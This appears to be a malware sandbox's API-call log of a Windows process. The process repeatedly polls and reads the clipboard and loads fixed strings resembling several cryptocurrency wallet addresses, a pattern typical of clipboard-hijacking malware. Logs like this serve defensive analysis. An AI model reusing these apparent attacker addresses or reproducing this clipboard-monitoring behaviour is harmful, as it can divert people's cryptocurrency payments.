lpWideCharStr="K\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.014] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="Q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.015] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.015] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="y\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.015] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="i\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.015] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.015] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.015] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="A\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.015] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="M\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.015] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="f\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.015] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.016] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="l\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.016] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="N\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.016] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="p\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.016] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="k\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.016] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="c\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.016] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e68, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="1Htm9mQkBRRH6yD6oRL4QoSqoj5SphShohx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0052.016] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3438, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="qz4c9989lurmv3uuhyux34jxy77uttah8yunhl65lpMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0052.016] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3470, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="0xcDfF92e9c364E2707e5C71494ee95f16F44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0052.016] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e98, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="XeHqXvMCCbSJsNK5RsoSrRuWoDU94iTUnjF44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0052.016] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1d8dab8, cbMultiByte=106, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 106 [0052.016] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8ec8, cbMultiByte=35, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="t1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 35 [0052.017] Sleep (dwMilliseconds=0x64) [0052.138] GetOpenClipboardWindow () returned 0x0 [0052.138] OpenClipboard (hWndNewOwner=0x0) returned 1 [0052.138] GetClipboardData (uFormat=0xd) returned 0x6069b8 [0052.138] GlobalLock (hMem=0x6069b8) returned 0x6069b8 [0052.138] GlobalSize (hMem=0x6069b8) returned 0x42 [0052.138] SysReAllocStringLen (in: pbstr=0x18ff50*=0x0, psz="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc", len=0x21 | out: pbstr=0x18ff50*="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc") returned 1 [0052.138] GlobalUnlock (hMem=0x6069b8) returned 1 [0052.138] CloseClipboard () returned 1 [0052.138] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.138] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.138] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.138] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.139] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.139] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.139] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="G\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.139] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="F\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.139] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.139] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.139] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.139] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.139] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="h\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.140] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="o\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.140] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.140] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.140] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="K\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.140] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="Q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.140] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.140] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="y\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.140] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="i\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.140] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.141] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.141] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="A\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.141] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="M\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.141] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="f\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.141] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.141] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="l\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.141] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="N\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.141] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="p\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.141] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="k\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.142] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="c\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.142] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e68, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="1Htm9mQkBRRH6yD6oRL4QoSqoj5SphShohx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0052.142] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3438, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="qz4c9989lurmv3uuhyux34jxy77uttah8yunhl65lpMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0052.142] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3470, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="0xcDfF92e9c364E2707e5C71494ee95f16F44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0052.142] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e98, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="XeHqXvMCCbSJsNK5RsoSrRuWoDU94iTUnjF44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0052.142] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1d8dab8, cbMultiByte=106, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 106 [0052.142] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8ec8, cbMultiByte=35, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="t1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 35 [0052.142] Sleep (dwMilliseconds=0x64) [0052.372] GetOpenClipboardWindow () returned 0x0 [0052.372] OpenClipboard (hWndNewOwner=0x0) returned 1 [0052.372] GetClipboardData (uFormat=0xd) returned 0x6069b8 [0052.372] GlobalLock (hMem=0x6069b8) returned 0x6069b8 [0052.372] GlobalSize (hMem=0x6069b8) returned 0x42 [0052.372] SysReAllocStringLen (in: pbstr=0x18ff50*=0x0, psz="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc", len=0x21 | out: pbstr=0x18ff50*="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc") returned 1 [0052.372] GlobalUnlock (hMem=0x6069b8) returned 1 [0052.372] CloseClipboard () returned 1 [0052.372] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.372] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.372] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.372] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: 